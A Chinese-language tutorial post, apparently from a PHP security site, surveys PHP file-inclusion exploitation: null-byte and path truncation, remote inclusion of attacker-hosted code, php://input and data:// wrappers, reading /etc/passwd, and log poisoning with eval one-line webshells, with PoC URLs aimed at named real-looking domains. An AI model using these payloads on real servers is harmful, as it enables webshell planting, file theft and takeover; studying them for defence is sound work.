有空就多整理下曾经研究过的知识和需要温顾的知识,明年可能去寻工作络.
关于PHP中LFI( Local File Include ,本地文件包含)漏洞,大家都很熟悉了;paper很多很多,特别是国外的...不过
大家都懒得测试,我就来整理下.
1.普通本地包含;
<? php $query = $_GET [ 'p' ]; include ( $query ); ?>poc :
http : //127.0.0.1:8080/phpwite/include.php?p=hanguo/test.phphanguo/test.php 为包含的路径.
只要目标服务器支持上传,不管是jpg,txt,gif等都可以,在其中包含 一句话木马 即可,这种方法很简单没什么可说的。
2.截断本地包含
require_once ( $a . '.php' ); include ( $a . ".php" ); //等等类似此包含的函数..在 WINDOWS 下还有特别用处:
\. 或者 ./ 或者 \ 或者 / 截断 ( WINDOWS 都可以使用.)
波波虎:http://www.2cto.com/Article/201208/147628.html
截断的原理
Linux包含截断例子 (Linux ./ 和 / 可以.)
%00 截断包含,有gpc=off和php版本限制
poc :
http : //127.0.0.1:8080/phpwite/include.php?p=hanguo/test.php%003.远程包含
在 allow_url_include=On 就是 远程文件包含 了,为 off 那就只能 本地包含 了.
测试case:
<? php $query = $_GET [ 'p' ]; include ( $query . ".php" ); ?>连接:
http : //www.xsser.com/explame.php?p=http://www.axxer.com/yeah.txt爆错了:
Warning : main ( http : //www.axxer.com/yeah.txt.php): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in / var / www / htdocs / explame . php on line 3 include ( $query . ".php" );代码的缘故,在后面加上了" .php ",导致 yeah.txt 变成了 yeah.txt.php .
这里我们不需要截断啦,来个 360计之----将计就计 .
在www.axxer.com创建个 yeah.php 文件;
然后http://www.xsser.com/explame.php?p=http://www.axxer.com/ yeah ,自动在后面加
上 .php ;多么爱。。。。
远程包含小连接
我们还可以用php自带协议来利用:
包含data:// 或者php://input 伪协议
这个漏洞对于php5.0以下有效,5.3测试失败,其他大家自行总结。还是比较鸡肋,不过不亏为一种好思路。
http : //www.schnelltest24.de/index.php?page=/etc/passwd //这个没有截断,我们尝试下用协议看看.
利用 协议 然后 POST发送利用代码 ,哈哈;多么有爱~~~~.
4.日记包含高级利用
此连接已经透露出技巧了呢,连接思路简单说下:
(1)访问带有一句话的错误连接(http://www.ujn.edu.cn/<%3fphp eval($_REQUEST[s]);%3f>xxxxxxxx...),此连接将记录到error.log错误记录文件中.
(2)找到包含漏洞的地方,包含到 error.log文件的路径 .然后在自定义 s参数 中输入我们恶意代码. (http://www.ujn.edu.cn/english/depart.php?s=phpinfo();&name=var/log/lighttpd/error.log/././..........)
一先限制以及突破:
类似http://www.exp.com/index<?php eval($_POST[cmd]);?>.php
这样的提交,某些WEB服务器将会把空格做HTTP编码转成%20写入web日志,如果PHP包含<?php%20eval($_POST[cmd]);?>这样的语句肯定是不会成功的,所以我们必须把空格真正的写入WEB日志.
可以使用:伪造没有Connection HTTP标头的请求包
内容2:http://www.2cto.com/Article/200810/30017.html
5.其他高级利用
(1)包含/proc/self/environ环境变量:
这个是利用Linux中的环境变量作为基础,很多时候这个方法行不通,因为没有/proc/self/environ的访问权限.同读取/etc/passwd一样
(2) phpinfo临时文件爆破包含. //看情况而定,有的需要%00等特殊字符 截断 .上面介绍过了.
(3)_SESSION爆破包含. //看情况而定,有的需要%00等特殊字符 截断 .上面介绍过了.
phpinfo爆破包含pdf
查看更多关于php包含那点事 - 网站安全 - 自学php的详细内容...